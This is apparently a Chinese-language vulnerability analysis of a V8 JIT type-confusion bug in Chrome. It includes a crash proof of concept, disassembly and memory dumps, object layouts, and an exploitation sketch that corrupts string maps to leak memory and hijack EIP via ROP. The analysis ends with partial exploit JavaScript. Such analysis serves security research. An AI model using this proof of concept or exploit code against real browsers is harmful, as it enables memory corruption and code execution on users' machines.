漏洞是由于 v8 优化后的 JIT 代码没有对全局对象进行类型校验造成的,通过 JIT 代码操作未校验的全局对象可以达到越界读写
<script>function Ctor() { n = new Set();}function Check() { n.xyz = 0x826852f4;}for(var i=0; i<10000; ++i) { Ctor();}for(var i=0; i<10000; ++i) { Check();}var n;Ctor();Check();parseInt('AAAAAAAA') // trigger crash</script>
阅读上述的漏洞样本,可大体得知漏洞触发的流程。
乍一看漏洞触发流程会让人觉得一头雾水,摸不着头脑。其实这个漏洞的触发涉及到 v8 对象在内存中的存储问题。下面我们通过一步一步的分析理清该漏洞的触发流程
第一个需要理解的问题是 v8 对于 整型 的存储。v8 引擎在设计内存存储时,为了将对象指针和其他数据区分,使用 tag Object 技术: v8 中所有的对象指针最后一位均被设置成 1。此时 整型 就需要进行左移来防止奇数数字可能产生的干扰。于是数字在 v8 内存中存储时会左移一位,如 0x1000
在内存中就会变成 0x2000
。而当 整型 的最高数据位为 1 时(0x40000000),左移便会造成整数溢出(0x40000000 << 1 = -2147483648),这时 v8 将以 Number 对象的形式将大于 0x4000000
的整型以浮点数形式存储在内存中。
样本中数据 0x826852f4
会被转化为浮点数进行赋值,相应的代码为
07318742 8b4007 mov eax,dword ptr [eax+7] 07318745 b90000805e mov ecx,5E800000h0731874a 660f6ec9 movd xmm1,ecx0731874e b90a4de041 mov ecx,41E04D0Ah
可以在内存中搜索这段二进制数据来定位 JIT 产生的代码8b 40 07 b9 00 00 80 5e 66 0f 6e c9 b9 0a 4d e0
搜索得到的代码如下,为 Check() 函数编译优化之后的结果,关键部分的含义已在注释中说明,可以看到 Check() 在对 n 的 xyz 域进行操作时,直接从全局空间中取出变量,并按照偏移直接操作,期间并未对变量类型、变量自定义属性数组进行任何合法性的校验。
04f67161 89e5 mov ebp,esp04f67163 56 push esi04f67164 57 push edi04f67165 83ec04 sub esp,404f67168 8b45fc mov eax,dword ptr [ebp-4]04f6716b 8945f4 mov dword ptr [ebp-0Ch],eax04f6716e 89c6 mov esi,eax04f67170 3b25105d0701 cmp esp,dword ptr ds:[1075D10h]04f67176 7305 jae 04f6717d04f67178 e84378fdff call 04f3e9c004f6717d b8dda4d206 mov eax,6D2A4DDh 04f67182 8b4007 mov eax,dword ptr [eax+7] // 全局变量 n04f67185 b90000805e mov ecx,5E800000h04f6718a 660f6ec9 movd xmm1,ecx04f6718e b90a4de041 mov ecx,41E04D0Ah04f67193 660f3a22c901 pinsrd xmm1,ecx,104f67199 8b4003 mov eax,dword ptr [eax+3] // 取 n 的自定义属性数组04f6719c 8b4007 mov eax,dword ptr [eax+7] // 取 n 的 xyz 域04f6719f f20f114803 movsd mmword ptr [eax+3],xmm1 // 为 xyz 域赋值 04f671a4 b8a181e004 mov eax,4E081A1h04f671a9 89ec mov esp,ebp04f671ab 5d pop ebp04f671ac c20400 ret 4
函数 Ctor() 对应的部分优化代码如下
04f66b60 8178ff6daa0005 cmp dword ptr [eax-1],500AA6Dh04f66b67 0f8538000000 jne 04f66ba504f66b6d b9dda4d206 mov ecx,6D2A4DDh // 设置全局变量 n 为 新创建的 Set()04f66b72 894107 mov dword ptr [ecx+7],eax
因此当 6D2A4DDh
中保存的全局变量为一个全新的对象时,这里的访问便会导致越界写入。
这里第二个需要理解的问题就是 v8 中 js 对象的自定义属性在内存中的情况。以样本中的 Set 对象为例,对象偏移 0x4 的位置保存一 FixedArray 数组指针,用于保存 Set 对象中可能出现的自定义属性,当有发生 Set 对象的自定义属性访问时,v8 直接按照该属性声明的顺序以偏移的形式从对象的 FixedArray 中取出数据完成访问操作。当对象初始化时,由于尚没有其他的自定义属性存在,因此该位置将使用内置对象 empty_fixed_array 进行初始化。(这部分信息可以通过阅读Chrome源码明确的观察到)
在样本中漏洞触发时会将内置对象 empty_fixed_array 取出当作已经有数据的 FixedArray 对象来使用,直接通过偏移计算的方式取 FixedArray 中保存的第一个对象进行操作。这里由于数据 0x826852f4
的关系,会将取出第一个对象指针直接作为 Number 使用。
查看 empty_fixed_array 在内存中的情况,由于其是内置对象,会在 v8 引擎初始化时就和其他内置对象一起被创建,因此其在内存中的相对存储情况是固定的
0:000> dd 04908125 -104908124 04b08185 00000000 04b081b1 3043247e04908134 00000008 6c6c756e 04b081b1 ae4b45da04908144 0000000c 656a626f 00007463 04b08235
可以看出 empty_fixed_array 其后紧跟的是 null 内置字符串和 object 内置字符串。其中被 Check() 当作 Number 处理的对象指针为 'null' 内置字符串的 map,也即 initial_string 类的 map,其中保存了 initial_string 型对象的的类型、结构等重要信息。这次越界写入操作便会修改这个 map 的信息,造成的结果即使得所有 initial_string 类型的对象都会出现问题。
map 被修改前后对比如下,其中类型的关键结构信息被完全破坏
0:000> dd 04b081b1 -104b081b0 04b0812d 00006600 00190004 082003ff04b081c0 04908101 04908101 00000000 0490811d0:000> dd 04b081b1 -104b081b0 04b0812d 5e800000 41e04d0a 082003ff04b081c0 04908101 04908101 00000000 0490811d
故而在样本调用 parseInt("AAAAAAAA")
试图将 initial_string 类型的字符串 "AAAAAAAA" 转化为整型时,便会出现问题,导致崩溃。
该漏洞目前可以实现的有两种利用方法,第一种和 flanker 演讲时所提出的利用思路不同,后来根据 CanSecWest 的PPT 实现了第二种利用方法
该思路通过越界写自定义 FixedArray 的方式实现利用,相比于上一种方法,该方式更加稳定和优雅,受其他因素干扰也更少
具体的利用步骤为
该思路通过越界写内置对象 null 来进行,相比于前两种方法,这里硬编码的地方更少,看起来也更加优雅
具体的利用步骤为
分析和利用过程中使用到的关键数据结构如下
String{ +0x00 map +0x04 hash +0x08 length +0x0C value ......}
Array{ //大小 0x18 +0x00 map +0x04 empty_fixed_array +0x08 data pointer // fixed array +0x0c array length}
FixedArray{ // 大小随数据而定 +0x00 map +0x04 length data}
Uint32Aray{ //(TypedArray) 大小 0x28 +0x00 map +0x04 empty_fixed_array +0x08 ArrayPointer +0x0c ArrayBuffer Pointer +0x10 0 +0x14 ArrayBuffer size +0x18 NaN +0x1c ArrayLength +0x20 0 +0x24 0}
ArrayBuffer{ // 大小 0x20 +0x00 map +0x04 empty_fixed_array +0x08 empty_fixed_array +0x0c buffer_size +0x10 backing_store +0x14 4 +0x18 0 +0x1c 0}
map{ // 大小 0x2c +0x00 map +0x04 istance_size // byte +0x05 InObjectProperties_or_ConstructorFunctionIndex //byte +0x06 unused +0x07 visitorId //byte +0x08 instance_type //byte +0x09 bit_field //byte +0x0a bit_field2 //byte +0x0b unused +0x0c bit_field3 //byte +0x10 prototype +0x14 constructor +0x18 transitor_or_protytypeInfo +0x1c discriptor +0x20 CodeCache +0x24 DependentCode +0x28 WeakCellCache}
该思路系从原始样本中直接衍生联想而来,通过修改 initial_string 类型,可将字符串类型从 one_byte_string 修改为 two_byte_string,从而使用该字符串便可以越界读取其后布置的对象信息,实现信息泄漏,通过泄漏出的信息构建 ROP 链,布局在内存中。接着将字符串类型从 one_byte_string 修改为 external_string ,这样便可以控制 EIP 劫持程序流程。该思路在实际使用过程中遇到了一些问题,尚未实现利用,具体的方法还在思考中。
具体的利用思路为
charCodeAt
函数泄漏刚刚布局的 initial_string 对象后面的数据地址charCodeAt
读取泄露对象的内部敏感数据,进一步计算出相对应的模块基址paseInt
控制 EIP 跳转到布局的 ROP 中ROP 利用代码
<html><script>function Ctor() { n = new Set(); }function Leak() { n.xyz = 3.4766779122194493e-308; // string to unicode return "AAAABBBBCCCCAAAA".charCodeAt(12).toString(16) // over read}function Read() { n.xyz = 3.4766991238883129e-308; // string to exteral_string return "addr".charCodeAt(0).toString(16) // abtrary read }function Recovery() { n.xyz = 3.4766863919135671e-308;}function Control() { n.xyz = 3.4766991238883129e-308; // string to exteral_string ParseInt("addr"); // call [addr]+c}for(var i=0; i<10000; ++i) { Ctor();}for(var i=0; i<10000; ++i) { Leak();}for(var i=0; i<10000; ++i) { Read();}for(var i=0; i<10000; ++i) { Recovery();}for(var i=0; i<10000; ++i) { Control();}var n </script></html>
联系客服